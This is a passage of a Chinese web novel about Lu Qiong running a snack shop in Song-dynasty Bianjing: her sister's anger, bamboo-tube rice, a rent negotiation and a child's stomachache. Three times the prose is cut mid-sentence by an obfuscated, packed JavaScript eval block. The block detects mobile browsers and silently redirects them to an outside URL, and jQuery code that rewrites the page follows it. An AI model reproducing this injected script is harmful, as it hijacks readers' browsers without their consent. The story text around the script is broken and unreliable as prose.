若真如杨三娘所说，那为何阿姐也不告诉她？不过杨三娘看着也不像是好心，还是先不要给她看出纰漏。 “劳烦三娘操心了，这事还得阿姐说了才算。若是三娘没别的事，我先回去了，毕竟近来忙得很。” 杨三娘见她没什么反应，倒是心里生堵，只能找裴丫解气，拉着她大声呵斥：“再不走快些，又要赶不上！” 陆萱心里惦记着事，顾不得杨三娘还在后边，便加快步子赶回去，刚走到门边，就听见阿姐她们在聊这事。 原来是真的...... “阿姐，你为何瞒着我？”陆萱心里有气。 陆琼也没想到会被偷听到，看着她红着的眼圈，一时恍惚，想起芸姐儿，好一会才定下心神，把手轻轻搭在她肩上：“这事阿姐能解决。” 陆萱听了这话，眼里的泪花在打转。她觉得阿姐从未把自己放心上，在上元村，有事也第一个找虞娘，来汴京也是早有预谋，到现在陆记出事也同她一起商量。 心里也清楚，这是不想叫她担心，可还是会觉得难过，杨姐儿知道，魏盼也知道，连三娘都知道，偏偏她不知道。 一行人都挤作一团，却安静得很，前来的食客便不知所措，犹豫后才出声：“小娘子，可还有剩的酥山，家里的孩儿嘴馋，要两份。” 酥山一向是陆萱在做，她抢先应下：“还剩了杨梅的。” “那就要两份杨梅的。”食客见她脸上挂着泪，也不敢有再多要求。 陆萱把泪水憋回去，走到后门去取冰，锤子敲得咚咚作响，像是屋子要塌了，把跟上去的陆琼都镇住了。 这下她也算是彻底明白，这是真的生气了，还哄不好。转身面对食客，两人大眼瞪小眼，陆琼讪讪笑：“她力气大。” 怕食客不信，还补充一句：“平日就这般。” 接下来杨姐儿就成了传话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984723|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的，陆萱有事就叫杨姐儿，再让杨姐儿传给陆琼。 杨梅放入盆中，陆萱在水面撒上一把盐，把手浸在水里，轻轻搓着杨梅表皮：“明日要带酥山给盼儿，还有巧果、梨花酥。” 杨姐儿点头，转身便要传话，陆琼就在一旁的灶台过凉面，面皮还顺滑着，有弹性，捞起来就在空中打转。 她先一步应下：“酥山不行，这几日吃多了，太凉。” 杨姐儿还没来得及转头，陆萱又独自小声道：“偏要，还要带双份。” 这话杨姐儿没听清，陆琼也没听见，以为是陆萱把她话听进去，没那般生气了，才放下心去招待食客。 还在冷淘里多加了一份酱羊肉，鲜嫩多汁，冒着油光。 食客以为端错了：“陆掌柜，我没点酱羊肉，可是弄错了？” “没弄错，”陆琼心情好，“今儿的酱羊肉煮多了，就顺手给你添了一份。” 听到是不要钱的，食客才敢放下心来，先尝一口酱羊肉。这羊肉是一大块下锅炖，跟酱汁一起熬，一直炖到烂了才捞出来切片，又香又软，一口爆汁。 连带着冷淘留下的汁水也被他吸溜进嘴，意犹未尽，小酌一口茶盏里的茉莉花茶，带走酱汁的腻味，打一个饱嗝，人生才叫圆满。 临走时，食客还乐呵呵：“陆掌柜，还是你家的酱汁有滋味，我上别家都尝不出这味，不是不够鲜，就是味道淡。” 陆琼笑着把他送走：“那下回定要再来！” 香料贵，别家不舍得用，她就舍得，更不论做的酱肉价钱还不高，就是她卖出一份也挣不了几个钱，全跟香料钱抵消了。 不过这全是因为铺子租金低，想起这，她的笑也敛了些，毕竟还有一个大难题。 这事一天不解决，心里就跟绷着一根弦似的，时时怕断掉。 临近黄昏那时，挑夫还来打过一趟水，便顺道聊起施三娘的事。施三娘是五六年前来的汴京，三娘汤饼店的名声也是从前些年打起的，早年才二十几，也跟杨姐儿一般给人打下手。 “后来呢？”陆琼递给他一碗渴水。 难得有人乐意听他讲故事，挑夫笑着接住碗，饮一口便砸吧嘴。 “后来就攒了笔钱，到钱庄借钱开了铺子。那时还不兴开铺子，便有人劝她不要冲动，不料她生意越做越好，不仅把钱还清，还在城里买了处宅子，据说要几百贯！” 这可是几百贯啊......那这宅子一定很大。 陆琼也想在汴京买房，但她连十贯钱也拿不出，只能在心底里羡慕。 看出她眼底的羡慕，挑夫把碗一递，怕被人听见还压低了声：“可别看她现在风光，刚发家那会儿还有亲人寻来，说她是克星，把家里人都克死了。那时人人皆惊，不敢光顾她铺子，也是后来才好起来。” 想起近来的风声，加上他也没少在陆琼这拿好处，挑夫便安慰她。 “你也不比她差，你也是这般年纪就开铺子，就算最后铺子倒了，这段履历也够你说上大半辈子了。” 陆琼听到这话，不知该气还是该笑：“今儿不用去陈记换水？” “哎呦，”挑夫敲了敲脑袋，“我怎么给忘了，还跟你说这么多......” 他把水桶担在肩上，挥了挥手，匆匆赶着去汴河挑水。 33. 竹筒饭 陆琼整晚都在观察着，就怕又惹恼了陆萱，不过到底是相安无事。杨姐儿也总算松口气，毕竟夹在中间不好受。 临近亥时，到店的食客渐渐少了起来，怕是只有勾栏瓦舍才会更多人。 好在她们如今对吃食的份量把握精准，今天也只剩下了些冷元子、枣泥山药糕，还有一份煮多的梅花汤饼，便都分成几份各带一份回去。 陆琼见枣泥山药糕才三两块，直接捏一块在掌心，贴在下巴处送进嘴边，一口咬下去便掉酥。 这是用新打的模具做的，外形看着是梅花状，不仅甜，口感还紧实，两层山药泥夹了一层枣泥馅，用棉布过筛后还很细腻，没有粉感。 就是太甜，她吃完后想倒盏茶解腻，又见陆萱围着桌子转，不好靠近，便放下这个念头。 杨姐儿也将自己那份装进食盒，见铺子的地擦了，灶台洗好，碗也刷净才道别。 “小娘子，夜黑了，我先回去了。” 陆琼嘴里还残留了山药泥，只点点头：“路上当心。” 待杨姐儿走后，铺子里还留了一盏油灯，正悠悠地燃着。 平日话多的陆萱也变得沉默，陆琼几次想开口，话到嘴边却又收回，直到闭店，两人都没搭过话。 从陆记到通济坊，还能遇见不少游画舫、赏州桥夜景的行人，夜市里的小摊也正卖得兴起。 陆琼挨着陆萱走，低头便见月色衬得两人的身影一高一低，忽地鼻尖一动，闻到一股油炸的香味，是先前卖馓子的人家，如今还卖胡饼。 摊主面前摆了两口锅，左边炸馓子，右边烙胡饼，排了不少人。有个五六岁的孩童，个子不高，被一旁的姐姐牵着手，踮着脚也要看锅里的馓子。 “萱儿可想来一份馓子？这是上回我们吃过的那家。” 陆琼想起刚开业时，挣到了大钱，两人在回去路上便迫不及待买了一份馓子，那晚风还有些凉，不过馓子很脆，她们也很开心。 当时说只有两个灶口，都要用来煮汤饼，没地方做馓子，现在新添了一个灶，却忘了那日说过的话。 卖馓子的摊主也发现她们，抻长条的馓子放入油锅，又不留间隙徒手把胡饼掀个面，露出金黄的一边，锅边升起的热气糊住他的笑。 他在州桥摆摊，常常能见到她们回去的身影，不论下雨还是放晴。有时两人都很疲倦，路上一言不语，有一回两人都很兴奋，路上说个不停，还有一回，只有一个小娘子回去，孤单得很，就是他见了也不习惯。 陆萱对上摊主的视线，脚下的步子顿一下，还是从馓子摊路过。 见她这般，陆琼也只能带着歉意回笑，怕她一人有危险，便赶快追了上去。 与州桥夜市不同，坊里一到晚上，便很安静，只有回到院子时，趴着的雪儿见到她们便冲上来，兴奋地叫两声。 陆萱便上前用手捂住他的嘴：“雪儿，小声些，有人已经歇下了。” 他这才安静下来，晃着尾巴，露出背面给陆萱顺毛。 起了点风，晾衣杆上的衣裳便轻轻飘着，陆琼抓住衣摆，摸了摸，已经干了，还留有皂荚的辛味，不过这味道很快便能散去。 邻家的枣树又茂密了不少，枝叶伸得更长，有些已经开始挂果，淡青色，才小小一个，说不准下回注意到时就又大了些。 陆琼心里感叹时间过得快，也不忘把衣裳收好，等放到屋里，便听见院子里有谈话声。 “琼姐儿！”金娘挎着一个竹篮，见没找着陆琼，就把陆萱叫过来。 她掀开竹篮上的碎花布，露出里边的糯米，短短圆圆，粒粒分明：“这是江米，端午那日买来包粽子，没想到一直吃到现在。霜姐儿整日叫我弄来吃，昨日还吃到肚子疼，煮了点山楂才好受些。” “这还够吃一两顿，可不能叫霜姐儿看到了，就拿来给你们吃，没事还能包个粽子。” 陆萱只好收下，见金娘越说越多，有些应付不来她的热情，脸上泛起红晕。 好在陆琼即使出现，还叫她先进去：“萱儿先拿到灶房去，就放在桌上。” 金娘方才与陆萱已经说得够多，但见到陆琼还是如狼见到羊一般，眼里冒着光，拉着人便是小嘴叭叭。 “霜姐儿贪吃得很，上回的巧果没两天就吃完，乞巧节还新买了一回，多花了几十文，早知就不提前买了，省下的那点差价还不够新买的钱......” 她咽咽口水，末了还来一句：“你是不知，裴家今夜吵起来了。” 这话题似乎跳得有些快？ 不过陆琼还是配合地说了句：“可是裴玉跟杨三娘吵起来了？” 金娘挑挑眉，那样子好似在说她料事如神，挽了挽衣袖，神兮兮道：“杨三娘给裴家小子寻了门亲事。” 见到陆琼八卦的模样，才满意地说下去：“是跟施三娘的。” 裴玉？ 和施三娘？ 这两人八竿子打不着吧。 陆琼有些不信：“是金娘听岔了？施三娘可比裴玉大上几岁呢。” 裴玉好似才不到二十，不过宋时的男子十六便能娶亲，女子则为十四。但按她见到的来说，在十来岁便成亲的还是少数，都是临近二十才谈婚事。 待听金娘解释完，也知道这是杨三娘的一厢情愿，两人八字还没一撇，只是见到施三娘有钱，在汴京有大宅子，便起了贪心。 待云雾遮住月色，院子暗下来，金娘才意识到夜深了，碰巧陆萱也把空竹篮拿出来，便依依不舍地道别：“那我先回去了，下回再说。” “金娘等等，”陆琼到屋里提出一只灯笼，“路上黑，这个你拿上。” 火光照在二人的衣裳上，金娘摆了摆手：“我明日再送回来。” 说完便提着灯笼走，金娘身子顿了顿，又转过身来，压低声音：“你钱够不够？若是铺子那事要钱用，我这还有不少，大概能借你二两，还有些首饰，当了也能凑个一贯钱。” 陆琼以为她是有事要说，没想到却听了她的“身家”，就连她郎君私藏的钱都给惦记上。 她撑在门边上，一时有些哭笑不得：“够用的，金娘就不必操心了。” “真不用？” 见她不信，陆琼便连着解释好几回，金娘这才肯信，只是离开时还要一步三回头。 她目送着金娘离开，单薄的身子走在巷子中，直到连影子也见不着。 其实陆琼跟金娘认识才没几月，没想到金娘却愿意拿出全部“身家”来帮她，虽然不能真的帮上忙，却还是觉得真好。 见天上的云雾散去，露出圆月，明日定是晴天。 陆琼醒来那会儿太阳已经出来，着急忙慌把鞋穿好，套上橘红的短衫，顺手就把木柜里的陶瓮抱在怀里。 家里的糖一用完，她便会把留下的空罐子带到陆记去，毕竟店里要用的地方多得很，反正店铺后门处就是空地，打的木架也不小，刚好适合拿来存放物件。 不过怎么有些沉呢？ 她低头看了一眼，没觉得有何不对，带着疑惑：“是没吃饭饿的？” 不过也没想这么多，毕竟时间紧。到了陆记才弄清，原是陆萱把金娘给的糯米装进去了。 杨姐儿本想用来盛猪油，揭开罐口便看见满满的米，有些不知所措：“小娘子，这里面怎么都是江米？” 陆琼坐在长柜前，用竹刀割捆油纸的草绳，听到“江米”二字，便隔着矮墙看到了快溢出来的江米。 陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995009|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萱也赶来，拍了拍头：“我昨晚把江米放陶瓮里了，忘了说。” 也不是大事，陆琼便叫杨姐儿把米都洗洗，泡水里。 先前在龙津桥摆摊的竹筒子都还留着，不知何时拿到陆记了，这下正好做几个竹筒饭。 陆萱还生着她阿姐的气，却不会跟吃的过不去，主动把竹筒子拿到后门去，放盐水里浸，再过水、沥水、晾干。 常吃汤饼的粗眉食客早早来了，跟陆琼打声招呼：“陆掌柜，来碗鸡丝面，面条要多摔几回，才有嚼劲。” 陆琼笑着诶一声，便继续切胡萝卜丝。 这位食客之前帮着搬了长柜，上回水缸漏水，他还帮忙把面粉搬到外边，就是身形大，面相看着凶了些，心地却很好。 起初所有人都怕他，后来时间久了，便也能聊起来。 粗眉食客叫上一壶酒，拔开酒塞子，酒香钻进鼻尖，不烈，是清甜的米酒，半壶下肚，鸡丝面也呈上来。 粗细均匀的面皮盘在碗里，鸡肉丝堆在上边，汤汁淡黄油亮，散发出浓郁的鸡汤味。粗眉把筷子抵在碗边对齐，夹起一长条，没几下便吃完，实在是不够吃。 洗净的竹筒子已晾干，陆萱都收到竹筐里，拎回屋去。 眼尖的食客见了，脸上的两条毛虫便扬起来：“这些竹筒是用来做什么？” “做竹筒饭，”陆琼把腊肉切成片，很快便闻到咸香，“腊肉、江米、豆子，一块下锅煎，炒出香味了再放进竹筒里，放火里烤，又咸又香，还有竹子味，也不腻。” 粗眉听了便咽口水，眼巴巴地望着她手下的腊肉，刚吃的鸡丝面又饿了：“你这要做多久？” “还要一个时辰，江米得泡水！” 他瞧着有些落寞：“那给我留两份，我晌午再来取。” 陆琼笑着打趣他：“另一份是给谁带的？” 粗眉难得扭捏起来，挠了挠头：“只是吃得多大，方才一碗还没管饱......” 陆琼噗呲一声，这可真是他少见的一面，笑完又从蒸笼里挑了四块糕点，抽出压在陶瓮下的油纸，叠起来包好，再捆上草绳。 “这些就拿去吃，下回定给你多加些面。” “那不成，这些要跟竹筒饭一起算，不然我不要。”粗眉也不羞了，急起来还有些凶。 陆琼也是知道他的性子，便顺着他的话道：“好，依你的，都算上。” 粗眉本名叫孟升，本意是想他走进仕途，之后步步高升，谁想他看书头晕，听书头疼，也不爱写字。 十六岁便去做了防隅军，在火楼值守、巡查，有时还要去灭火，后来伤了腿，跑不快，才转去埠头搬运货物。 平日里大家都管他叫粗眉，再就是孟粗眉，很少叫他本名。就是他自己也更喜欢被人唤作是粗眉，总觉得孟升这个名跟他太不搭了，文绉绉的，他又不是读书人，叫这名字太奇怪。 糯米、豆子都用水养好，还包进纱布沥干，颗颗饱满，沾了水也好成型。 一陶瓮的江米，加上半罐子赤豆、腊肉，搅拌在一起放到盆中，看起来不少。暂时找不到粽叶，便用干净的纱布封口，正好能装十个竹筒，若是卖得好，日后也能多弄些竹筒子。 陆琼本想起个火炉烤，可惜炭不够，只能放上锅蒸，一次还只能蒸六个筒子，其他锅要煮汤饼，余下的竹筒饭也只能等下一轮。 柴火噼里啪啦烧着，很快便出香味，陆萱也按捺不住，搬张矮凳便守在灶边，双手撑在下巴上：“还有多久才能好？” 杨姐儿离得近，揭开锅看水烧干了，又多加了几勺，锅里沸腾的水便静下来。顺手用筷子戳戳筒子口，纱布陷进去，还能感觉到江米有些硬。 “许是还有一刻种。” 34. 洗杨梅 蒸竹筒饭时，她们还听见隔壁三娘店里传来动静。 杨姐儿甩干手上的水渍，探出头瞧一眼：“她们才开店呢，刚开始泡茶。” 三娘汤饼店近来都是临近午时才开店，一直开到子时，除了晚上，也算是跟陆记岔开了时间。 “等晌午闭店了，我就找她去。”陆琼把灶台边堆放的柴火挪到墙角，手上都是木屑。 不然再拖两日，这铺子要给人收了去。 一刻钟很快便到，杨姐儿揭锅时，陆萱的魂儿也跟着飘远了。 她们给孟升留了两份竹筒饭，还摆出其余四份供食客挑选，锅里再添些水便又蒸剩下的几个竹筒子。 竹筒饭的香味与粽子相似，咸咸的腊肉和糯米香杂糅一起，凑近时还能闻到一股竹子的清香，像是林间的一抹清泉，回味甘甜。 食客正吃着汤饼，如今闻到这咸香也觉得寡淡，尤其是这饭还盛在竹筒子里，叫人觉得新奇。 很快便有第一个想尝竹筒饭的人，她先试着问了一份的价钱。 “一份三十文，连着竹筒都能一起带走。”陆琼笑着搭话。 竹筒子不大，只比茶盏粗，一个巴掌长，就怕里面放得都是江米，加上还要三十文，都能买上一斤多猪肉了，是以这位娘子还是有所纠结。 她还牵着一个小女童，看着不过六岁，正是鬓年，正巧扎着双垂鬓，两边各插了一支淡蓝的花簪子，睁大眼睛望着灶台边上的竹筒子。 眼巴巴的，就差晃着她娘手求着买了。 娘子见状便也咬咬牙，从腰间掏出一个钱袋，数出铜板来：“成，就来一份。” 钱一收，杨姐儿便把竹筒子呈上来。 这竹筒只能上锅蒸一次，不好再重复使用，一是竹子的清香会变淡，二是容易滋生细菌。因着是一次性的，她们便用柴刀劈成两半，好方便客人享用。 热气袅袅升起，露出金黄的糯米、油亮的腊肉，很快竹叶的清香也在四周散开来。 每一块竹筒都配了一双筷子、一个勺子。 娘子便在众食客期待的眼神中挖起一小勺，入口软糯，腊肉咸香，与竹香交织一起，够味却不会生腻。 “怎么样？”旁的食客也一动不动地盯着竹筒饭。 还有食客已经开始捂钱袋，就怕忍不住便花多一笔。 娘子不语，还多吃一勺，待唇边沾上油光，才笑着点头：“味道好极，本以为江米会生腻，却没想呗竹香冲淡了，连腊肉也是肥而不腻。” 陆琼也及时附和：“若是腻了，可叫我们换一盏茶，也能点一份渴水来解腻。” 这样下来，还能多卖出一份饮子，多赚一笔钱！ 在她们谈话的间隙，小女童已经将那份吃光了，那娘子也是被提醒了才发觉，皱着眉头，拍了下她的手。 “你可是不准再吃了，江米吃多容易积食！” 小女童嘴巴一撇，小声地辩驳：“可还没吃饱......” 这委屈模样，叫围观食客的心也跟着化了。 “她还在长身子呢，就让她吃个够！” “是啊，也才没几个钱。” 娘子哪能说得过七.八张嘴，心想钱不是你们出自然不嫌贵，但还是冷了心，不叫小女童再吃。 陆琼也觉得再吃下去会出事，毕竟这江米委实把霜姐儿吃积食过...... 想起她刚穿来时，家里好几回揭不开锅，后来挣了钱，还跟人买糍粑，许是太过好吃，陆萱还偷吃到肚子难受。 听起她说这事，陆萱也愣了，沉默很久才肯小声道一声：“是阿姐记错了，我才没有偷吃。” 见她终于肯搭话，陆琼也跟着笑，便顺着她：“是，是我记岔了。” 最后娘子和小女童各退一步，将剩下的带回家吃，也幸好这竹筒子也是没有别的用处了。 过了这个插曲，竹筒子也卖得差不多，还有食客慕名而来，跟友人共享一份，就只是想尝尝这滋味。 所幸也没叫他们失望。 也不知谁说了一句：“陆记总有新菜式，不仅吃不腻，味道都不错，放得料也多。” 众人听着也默默点头，心里也觉得稀奇，怎么能想出这么多点子？ 直到晌午过去，食客才渐渐少去。 陆琼守在钱柜前，脸上满是笑，耐心数着一块块铜板。 时而还发出响声，铜板相碰是清脆的，碎银子碰撞是沉闷而有力的，不过都好听！ 今儿也算是挣满了十贯钱！还都是现钱，就算这铺子不开了，也能回上元村躺平一阵子。 但挣钱真叫人过瘾，她还是想把铺子继续开下去，好早日换上新宅子，实在不想从院子提着桶去打水了…… 等到闭店，孟升还没来，陆琼见时候不早，便先叫杨姐儿回家，陆萱也带着一个竹筒子回去，顺道拿了几块瘦的猪肉，给雪儿当午食。 又想起雪儿近来越发圆润的身子，这也算是跟对人了，整日吃好睡好，过得还挺滋润。 屋里没有食客，陆琼便坐在外边的长凳歇着，正好屋檐下遮住烈日，风一吹，还有些凉快。 不过现下的三娘汤饼店正热闹着。 陆琼坐了一盏茶的功夫，孟升才急匆匆赶来，身上的袖子挽到小臂上，露出结实的肌肉，怕是刚搬完货物。 他不好意思笑：“陆掌柜，方才有事耽误了。” “无事，也耽误不了多久。” 陆琼笑着转身，见灶口还有些余火，便取来粗布，盖在竹筒各一角，替他取出两个竹筒饭来。 “都给你放锅里蒸着，是带回去，还是在这吃？” 竹筒子还冒着热气，孟升做了一早上的活，早就饿得不行。 他盯着竹筒子，两眼放光，发觉陆琼还在等他回话，这才腆着脸笑：“带回去，带回去。” 陆琼便抽出两根草绳，在竹筒两头绑上一圈，中间打个死结，方便拿取。 送走孟升，她便把锅里剩的水舀到木桶里，一口气提到后门的街巷，倒在青砖上，污水便顺着沟渠进了钱眼。 本想这会儿找施三娘谈谈，可人家铺子正忙着，不好耽误。 便又拖到晚上闭店，陆琼才有机会跟施三娘见一面。 她对三娘也只是道听途说，从未主动接触过，是以不清楚三娘的为人。 许是三娘手里掌握着陆记的生死，陆琼在见她前还是有些忐忑。 提着一盒糕点、一袋茶叶，便赶去三娘家。 施三娘虽有钱，却不住在城北，而是选择盖在城南外的宅子，倒是离州桥有段距离。 庭门宽广，两座石狮子立在石阶两旁，有些气派，倒是像三娘的作风。 传闻中的三娘倒不知门外有人登门拜访，正在院子里的菜地除草。 为何白天不除，晚上除？只是觉得白天太晒罢了。 门外传来咚咚声，施三娘把手里的草搁一边，拍开手上的泥，不料吃了一嘴：“呸、呸......” 这时候还会有谁来？ 陆琼在门外等了许久，夜间有些冷，本想改日再来，门却在这时开了。 她见过几回施三娘，自是知道三娘的相貌，只是这位娘子的身上沾满了草，还有黄土。 如此不拘小节，怪不得能成大事。 陆琼也很快便反应过来，把带来的礼品呈上，自报家门，随后便笑着道出来意：“听闻施三娘也是花了五年踩在汴京扎根，而我们陆记才开不久，根基不稳，也很难再寻一个适合的铺子......” 施三娘一见到她，便觉得合眼缘，在听到她此行的目的后，也是笑了：“你是想继续赁下这个铺子？” 陆琼不知她为何笑，愣了片刻才正色道：“正是，若是三娘有何需求，尽管提出。” “小娘子年纪不大，口气也不小。” 施三娘也只是看着和善，伸出手来算账：“我把铺子赁你，一月至多五两，可若是将两家铺子打通，说不准一共能挣到八十两，孰轻孰重，我还是知的。” “可两家铺子打通需要不少时日，少则半月有余，多则一月，再加上石料、人工，花的钱可不少。”陆琼分析一番。 三娘听了也点头，这些确实是前期要细细考量的。 见她听进去，陆琼便进一步解释：“况且，铺子的生意并不是扩张便能有起色，三娘的铺子已经有不少供食客落座的席位，也是正好够，甚至有余。” “若是打通了两家铺子，增加了席位，也很可能与原先并无两样。” 这倒是施三娘没想到的。她这才仔细瞧一眼陆琼，面上平和，可眉眼间却带着一股倔强，是个聪慧的女子。 倒是她小瞧了。 也叫施三娘想起一位故人，若是她还在世，孩子应当也是这般大。 只是睹物思人，她便觉得眼睛有些酸涩，怕被人看穿，硬是逼回泪水，轻轻“嗯”一声，语气少了方才的锋芒。 “你说的有些许道理，但我还是要将两家铺子打通的......” 陆琼听她这么讲，心里的石头跟着一沉，以为是没希望了，又听见她道：“不过，还有些细枝末节未敲定好，在这之前你还能继续赁这铺子，但要重新定下契约，每月租金嘛，至少五两。” 施三娘本就不打算这么快打通铺子，只是城中有人说些三言两语，传得多了，就把人小娘子吓到了。 不过她前些年也是这般过来的，不失为一段很好的磨炼。 陆琼的心也跟着落下，又升起，知道三娘把话说全，才彻底松懈下来。 心里的激动无法表达，她只能一遍遍地跟施三娘道谢。 施三娘打断她：“这铺子也开不久，或许还有一月的时间，也可能是一年，在我放弃打通铺子前，这些都说不定。” 不过也总算是将陆记暂时保住。 笼罩在陆记的阴影被揭开，所有人都松口气，也变得更有干劲。 杨姐儿在知道陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996119|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琼要去找施三娘后，整夜辗转反侧，直到夜半三更才睡着，好在如今有了个不错的结果，也不算是白忙活。 陆萱便更不用说，她是除了陆琼最关心铺子的人，心里虽还有些气，可人人见了都知道她心情不错。 有食客点了份酥山，她便去后门敲了块冰，刚要放进盆里，就听见门外有人在叫她。 “陆萱，”魏盼睁着一双小眼睛，扒在门框上，“你这几日怎么没来找我，不是说好给我带酥山的。” 见到她手里的冰，更是好奇起来，蹦到陆萱身边，伸出一双手，想碰又怕弄脏：“还没在暑日里碰过冰呢，往常过冬，汴河就会结一层厚厚的冰，除了一小块地，剩下的全是采冰的人，都不能靠近。” 陆萱笑了声，又沿着冰块的一角敲了敲，一小块碎冰便掉下来，捡起放到魏盼掌心：“这给你，只是比井水凉了些，摸久了手还会疼呢，我做酥山都不敢用手碰。” “我知道，”魏盼打量起这块透明的冰，独自喃喃，“不过还真不一样。” 魏盼没事做，便留在铺子里帮闲，哪里需要人手便去哪。 陆琼也不怕得罪陆萱，直接夸赞她：“盼儿做起活来，比萱儿要利索，还勤快。” “等食客少了，你们就出去玩，我给你们钱。” 她也知道魏盼在家的处境，汴京的女子好强，能挣钱，可还是不被家里重视，处境不差，但也好不到哪去。 至于卖女求荣的事，陆琼没少听，可也无能为力，毕竟自己也是在讨生活。 魏盼在哪都放得开，唯独面对陆萱的阿姐，总会装上几分矜持，小声道：“不、不用了，我跟萱儿就是随便走走。” 可陆萱早已看穿，揭她的短：“阿姐，她先前想要吃酥山来着，我忘了给。” 被她这么一打岔，陆琼也隐约记起，好似是有这么一回事，当时忙得晕头转向，转眼便忘了。 “成，你们要什么吃的自己拿，酥山也是萱儿最擅长的。”陆琼看出魏盼的要强，便也装作不知，没拿这点去打趣人。 还悄悄给了陆萱十文钱做零钱。 这也是她清楚陆萱的为人，给了钱也不会乱花，这一点很是省心。不然一边忙着挣钱，一边还要纠正妹妹的用钱观念，不出半月身子便会被累垮。 下午陆记闭店，陆琼便打算整日待在家里，哪儿也不想去。 结果人还没歇多久，金娘便跑过来聊家常了，主要还是裴家的事。 正好，方才有人刚提来几桶杨梅...... 陆琼心里憋着坏，对金娘笑：“你来的刚巧，我这有件好事。” “什么好事？” 金娘以为是说事来着，没想到她说完便转身进屋，跟进去才知，灶房摆了整整两桶杨梅，看得她眼冒金星。 “你说的好事，不会是叫我帮你洗杨梅吧？” 陆琼依旧笑：“不止，还要去核压成果泥。” 没办法，金娘还想跟她继续聊裴家的事，只好认命坐在矮凳上，有气无力：“成，先洗这一桶。” 待盆里倒满水，金娘才开口。 “杨三娘可不要脸，昨儿还是前儿，又到处传裴玉的亲事，这回不是施三娘了，是坊里的一位小娘子。” 怎么还带换人的？ 陆琼也是看不透这位杨三娘，见过花心的，没见过对儿媳花心的。 “这回她可踢到铁板了，那小娘子的娘可是徐九姑，直接跑上门去，先是把裴家小郎君骂一顿，再是喊话杨三娘，说她再败坏自家小娘子名声，就叫她出不了门。” 金娘说得绘声绘色，手里的杨梅被她弄掉地上，装作无事又捡起来，还差点放到干净的水里。 那兴奋劲，不知道的还以为是当事人。 不过陆琼也记起这位许九姑了，只要去蔡河洗衣，十次能碰上六回，她家小娘子还是绣娘来着，称得上是心灵手巧。 陆琼有点馋，顺手塞一颗杨梅进嘴，好酸：“那裴玉岂不是被连累了？” “可不是，”金娘连连点头，“不过他这两日都是早出晚归，也不知在捣鼓什么，就怕杨三娘安分没几日又闹出幺蛾子。” 不过在陆琼看来，裴玉的爹责任最大，把全家丢下，也不知跑哪去，若不是偶尔寄钱回来，还以为死在外头。 跟金娘聊着天，很快便把杨梅洗好，也差不多压好泥，二人手上还染成淡粉色。 “你这手真细，染上色还更好看了。”金娘比对着两人的手。 陆琼刚要回话，便听见院子外有动静。 循声跑出去，就见陆萱扶着魏盼回来，还把她手搭在自己肩上。 “这是怎么了？” 陆萱看起来有些心虚：“我给她吃了酥山，没多久她就肚子疼。” 陆琼着急问道：“盼儿这是吃了多少？” “......大约是两份？” 陆琼还想训斥她一顿，金娘就过来帮手：“先把人扶到床去。” 35. 做月团 家中只有两张床，便决定将魏盼扶到陆萱的卧房里。 见脚下有台阶，陆琼提醒：“小心台阶！” 卧房里没有帐幔，只安置了一张木床，还有张案几，平日穿的衣裳便放在旁边的大木箱。 陆萱先去铺开床褥，金娘和陆琼则合力把魏盼弄在床上。 见她看着脸色苍白，也无力说话，陆琼便拖出床塔下的盆。 “我去烧点水。” 等她走后，金娘探了探魏盼额头，有些凉，又捂了捂手心，也是冷的：“萱姐儿你在这看着，我去弄些生姜水来。” 生姜水能祛寒，也能缓解吃生冷之品带来的疼痛，平日淋雨着凉也能煮来喝。 陆萱认为自己帮不上什么忙，便应声留下来。 一行人都在忙活，就连雪儿也乖乖守在院子，不给众人添乱。 服过生姜水，魏盼便躺回床，陆琼给她盖好薄被子，把装有开水的汤婆子覆在被褥上。 见她缓过来，面色不再那般苍白，陆琼也得闲去追究此事，带了点气：“先前不是说过不要贪凉，怎么还一连吃了两份酥山？” 许是心虚，陆萱低着头沉默。 陆琼本想再说几句，就见金娘在使眼色，也知道不好在魏盼面前说教，心里叹气，叮嘱她们几句便出去把剩下的杨梅处理好。 接近暮时，魏盼也恢复得差不多，至少小腹不疼了，不用人搀扶着也能走。 陆萱便打算先送她回家，再去陆记帮闲。看着脚下的青砖，她有些愧疚：“是我不好，连累你受罪了。” 本来这酥山是一人一份的，可她吃完一根红薯便吃不下，剩下的酥山还不好浪费，魏盼只好全吃尽。 不过魏盼并没有怪她，反倒是笑着：“虽吃了点苦，但前头的酥山可甜了，两个甜头换一份苦吃，我还赚了呢！” “你也别想太多。”她说着便拍了下陆萱的肩膀。 知道她这是在安慰自己，陆萱心里更是没半分好受，还想再说些什么，魏盼有些不自然地指着巷口。 “我到了，你也快些回去，你阿姐还等着你呢！” 